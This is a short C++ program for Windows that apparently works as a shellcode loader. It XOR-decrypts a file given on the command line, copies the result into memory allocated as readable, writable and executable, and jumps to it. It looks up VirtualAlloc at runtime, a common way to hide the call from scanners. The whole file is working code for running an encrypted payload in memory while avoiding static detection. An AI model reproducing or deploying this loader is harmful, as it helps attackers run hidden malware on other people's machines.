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| #include <windows.h>
#include <AXorPlus.h>
LPVOID NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
typedef LPVOID(WINAPI * Fn_VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
auto hmodule = GetModuleHandleW(L"kernel32.dll");
if (hmodule == NULL)
{
hmodule = LoadLibraryW(L"kernel32.dll");
}
auto fn = (Fn_VirtualAlloc)GetProcAddress(hmodule, "VirtualAlloc");
if (fn == NULL)
{
return NULL;
}
return fn(lpAddress, dwSize, flAllocationType, flProtect);
}
int main(int argc, char *argv[])
{
AXorPlus xorPlus{};
if (argc < 3)
{
std::cout << "Usage: " << argv[0] << " <file> <key>" << std::endl;
return 1;
}
auto filePath = argv[1];
auto key = argv[2];
std::string output;
std::cout << "Decrypting " << filePath << " with key " << key << std::endl;
xorPlus.XOR2Memory(filePath, output, key, 0);
std::cout << "Decrypted generated successfully" << std::endl;
const auto decryptedData = reinterpret_cast<const char *>(output.c_str());
auto size = output.size();
PVOID mem = NewVirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::cout << "Allocated memory at " << mem << std::endl;
if (mem == NULL)
{
return 1;
}
memcpy(mem, decryptedData, size);
((void (*)())mem)();
return 0;
}
|